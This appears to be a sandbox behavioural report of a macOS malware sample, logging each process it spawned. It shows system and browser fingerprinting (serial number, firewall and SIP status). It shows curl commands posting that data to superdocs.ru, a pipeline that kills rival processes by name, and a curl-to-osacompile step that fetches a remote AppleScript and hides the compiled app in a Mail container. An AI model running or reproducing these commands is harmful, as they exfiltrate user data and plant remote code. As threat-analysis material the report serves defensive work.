                                      General

                                      Start time:11:18:43
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:43
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c mkdir -p ~/Library/Caches/GitServices/ && touch ~/Library/Caches/GitServices/.ed
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:43
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:43
                                      Start date:24/08/2022
                                      Path:/bin/mkdir
                                      Arguments:mkdir -p /Users/pedro/Library/Caches/GitServices/
                                      File size:134128 bytes
                                      MD5 hash:1a411936bac2c64c06674cbcfcdd66f8

                                      Chronological Activities

                                      General

                                      Start time:11:18:45
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:45
                                      Start date:24/08/2022
                                      Path:/usr/bin/touch
                                      Arguments:touch /Users/pedro/Library/Caches/GitServices/.ed
                                      File size:134496 bytes
                                      MD5 hash:63d1087742d412edbc4f41c9e90067d2

                                      Chronological Activities

                                      General

                                      Start time:11:18:55
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:55
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c (plutil -p ~/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist | grep 'https' -b3 |awk 'NR==3 {split($4, arr, '\'') print arr[2]}') || echo 'com.apple.safari'
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:55
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:55
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:55
                                      Start date:24/08/2022
                                      Path:/usr/bin/plutil
                                      Arguments:plutil -p /Users/pedro/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist
                                      File size:270832 bytes
                                      MD5 hash:11427a2425049a93a60e85d61c9c0081

                                      Chronological Activities

                                      General

                                      Start time:11:18:55
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:55
                                      Start date:24/08/2022
                                      Path:/usr/bin/grep
                                      Arguments:grep https -b3
                                      File size:202816 bytes
                                      MD5 hash:99be09a23ac46af2879dc015993ca389

                                      Chronological Activities

                                      General

                                      Start time:11:18:55
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:55
                                      Start date:24/08/2022
                                      Path:/usr/bin/awk
                                      Arguments:awk NR==3 {split($4, arr, '\'') print arr[2]}
                                      File size:334944 bytes
                                      MD5 hash:231a9b1c4634f8b7b53d29c9c47ee4df

                                      Chronological Activities

                                      General

                                      Start time:11:18:55
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:55
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c defaults read loginwindow SystemVersionStampAsString
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:55
                                      Start date:24/08/2022
                                      Path:/usr/bin/defaults
                                      Arguments:defaults read loginwindow SystemVersionStampAsString
                                      File size:205376 bytes
                                      MD5 hash:4e146d0cf6ed8b4592347198fc2a990c

                                      Chronological Activities

                                      General

                                      Start time:11:18:55
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:55
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c defaults read /Applications/Safari.app/Contents/Info CFBundleShortVersionString
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:55
                                      Start date:24/08/2022
                                      Path:/usr/bin/defaults
                                      Arguments:defaults read /Applications/Safari.app/Contents/Info CFBundleShortVersionString
                                      File size:205376 bytes
                                      MD5 hash:4e146d0cf6ed8b4592347198fc2a990c

                                      Chronological Activities

                                      General

                                      Start time:11:18:55
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:55
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c ioreg -c IOPlatformExpertDevice -d 2 | awk -F\' '/IOPlatformSerialNumber/{print $(NF-1)}'
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:55
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:55
                                      Start date:24/08/2022
                                      Path:/usr/sbin/ioreg
                                      Arguments:ioreg -c IOPlatformExpertDevice -d 2
                                      File size:189696 bytes
                                      MD5 hash:d03e2df1848ceb731ba4a8c3e82b2011

                                      Chronological Activities

                                      General

                                      Start time:11:18:55
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:55
                                      Start date:24/08/2022
                                      Path:/usr/bin/awk
                                      Arguments:awk -F' /IOPlatformSerialNumber/{print $(NF-1)}
                                      File size:334944 bytes
                                      MD5 hash:231a9b1c4634f8b7b53d29c9c47ee4df

                                      Chronological Activities

                                      General

                                      Start time:11:18:55
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:55
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c defaults read /Library/Preferences/com.apple.alf globalstate
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:55
                                      Start date:24/08/2022
                                      Path:/usr/bin/defaults
                                      Arguments:defaults read /Library/Preferences/com.apple.alf globalstate
                                      File size:205376 bytes
                                      MD5 hash:4e146d0cf6ed8b4592347198fc2a990c

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c csrutil status | grep -q enabled && echo 1 || echo 0
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/usr/bin/csrutil
                                      Arguments:csrutil status
                                      File size:380928 bytes
                                      MD5 hash:51e2d23508016b3dba2263fd13f74859

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/usr/bin/grep
                                      Arguments:grep -q enabled
                                      File size:202816 bytes
                                      MD5 hash:99be09a23ac46af2879dc015993ca389

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c sysctl -n machdep.cpu.brand_string
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/usr/sbin/sysctl
                                      Arguments:sysctl -n machdep.cpu.brand_string
                                      File size:151680 bytes
                                      MD5 hash:340b13a50d8ee5cfcc91d8480aa5cbe6

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c ioreg -c IOPlatformExpertDevice -d 2 | awk -F\' '/IOPlatformSerialNumber/{print $(NF-1)}'
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/usr/sbin/ioreg
                                      Arguments:ioreg -c IOPlatformExpertDevice -d 2
                                      File size:189696 bytes
                                      MD5 hash:d03e2df1848ceb731ba4a8c3e82b2011

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/usr/bin/awk
                                      Arguments:awk -F' /IOPlatformSerialNumber/{print $(NF-1)}
                                      File size:334944 bytes
                                      MD5 hash:231a9b1c4634f8b7b53d29c9c47ee4df

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c curl -k -s --connect-timeout 14 -d 'MacOS version: 12.5, en_CH. Serial: C07GV0KZPJH8. Firewall: 0. SIP: 0, Safari: 15.6, CPU: Intel(R) Core(TM) i5-8500B CPU @ 3.00GHz Default browser: com.apple.safari' -H 'X-Id: C07GV0KZPJH8' -H 'X-Users: pedro' -H 'X-Mod: bootstrap' https://superdocs.ru/l
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/usr/bin/curl
                                      Arguments:curl -k -s --connect-timeout 14 -d MacOS version: 12.5, en_CH. Serial: C07GV0KZPJH8. Firewall: 0. SIP: 0, Safari: 15.6, CPU: Intel(R) Core(TM) i5-8500B CPU @ 3.00GHz Default browser: com.apple.safari -H X-Id: C07GV0KZPJH8 -H X-Users: pedro -H X-Mod: bootstrap https://superdocs.ru/l
                                      File size:519040 bytes
                                      MD5 hash:f26856a56418cdf4551b4bdd7be78831

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c ps aux | grep -E 'com.apple.net|com.utils.core|com.metal.core|agentde|canaryde|operade|speedde|edegede|firefoxde|yandexde|avatarde|bravede' | grep -v grep | awk '{print $2}' | xargs kill -9
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/bin/ps
                                      Arguments:ps aux
                                      File size:203504 bytes
                                      MD5 hash:48b7f71ab3866eee46d3ef67f8233168

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/usr/bin/grep
                                      Arguments:grep -E com.apple.net|com.utils.core|com.metal.core|agentde|canaryde|operade|speedde|edegede|firefoxde|yandexde|avatarde|bravede
                                      File size:202816 bytes
                                      MD5 hash:99be09a23ac46af2879dc015993ca389

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/usr/bin/grep
                                      Arguments:grep -v grep
                                      File size:202816 bytes
                                      MD5 hash:99be09a23ac46af2879dc015993ca389

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/usr/bin/awk
                                      Arguments:awk {print $2}
                                      File size:334944 bytes
                                      MD5 hash:231a9b1c4634f8b7b53d29c9c47ee4df

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:56
                                      Start date:24/08/2022
                                      Path:/usr/bin/xargs
                                      Arguments:xargs kill -9
                                      File size:168768 bytes
                                      MD5 hash:8f884810645d2a6e0b1a4d499993857c

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c echo 'superdocs.ru' > ~/Library/Caches/GitServices/.domain
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c ioreg -c IOPlatformExpertDevice -d 2 | awk -F\' '/IOPlatformSerialNumber/{print $(NF-1)}'
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/usr/sbin/ioreg
                                      Arguments:ioreg -c IOPlatformExpertDevice -d 2
                                      File size:189696 bytes
                                      MD5 hash:d03e2df1848ceb731ba4a8c3e82b2011

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/usr/bin/awk
                                      Arguments:awk -F' /IOPlatformSerialNumber/{print $(NF-1)}
                                      File size:334944 bytes
                                      MD5 hash:231a9b1c4634f8b7b53d29c9c47ee4df

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c curl -k -s --connect-timeout 14 -d 'updated .domain with superdocs.ru' -H 'X-Id: C07GV0KZPJH8' -H 'X-Users: pedro' -H 'X-Mod: bootstrap' https://superdocs.ru/l
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/usr/bin/curl
                                      Arguments:curl -k -s --connect-timeout 14 -d updated .domain with superdocs.ru -H X-Id: C07GV0KZPJH8 -H X-Users: pedro -H X-Mod: bootstrap https://superdocs.ru/l
                                      File size:519040 bytes
                                      MD5 hash:f26856a56418cdf4551b4bdd7be78831

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c echo ~/Library/Caches/GitServices/.rep
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c date -r '/Users/pedro/Library/Caches/GitServices/.rep' +'%s' || echo 9999999999
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/bin/date
                                      Arguments:date -r /Users/pedro/Library/Caches/GitServices/.rep +%s
                                      File size:168112 bytes
                                      MD5 hash:9983eb16b31b7224ae79b51b2b49ee75

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c date +'%s'
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/bin/date
                                      Arguments:date +%s
                                      File size:168112 bytes
                                      MD5 hash:9983eb16b31b7224ae79b51b2b49ee75

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c [ -d /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/ ] && echo '1' || echo '0'
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c mkdir -p '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/'
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/bin/mkdir
                                      Arguments:mkdir -p /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/
                                      File size:134128 bytes
                                      MD5 hash:1a411936bac2c64c06674cbcfcdd66f8

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c curl -sk -d 'user=pedro' https://superdocs.ru/agent/scripts/remove_old.applescript | osacompile -x -o '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.sound.app'
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:59
                                      Start date:24/08/2022
                                      Path:/usr/bin/curl
                                      Arguments:curl -sk -d user=pedro https://superdocs.ru/agent/scripts/remove_old.applescript
                                      File size:519040 bytes
                                      MD5 hash:f26856a56418cdf4551b4bdd7be78831

                                      Chronological Activities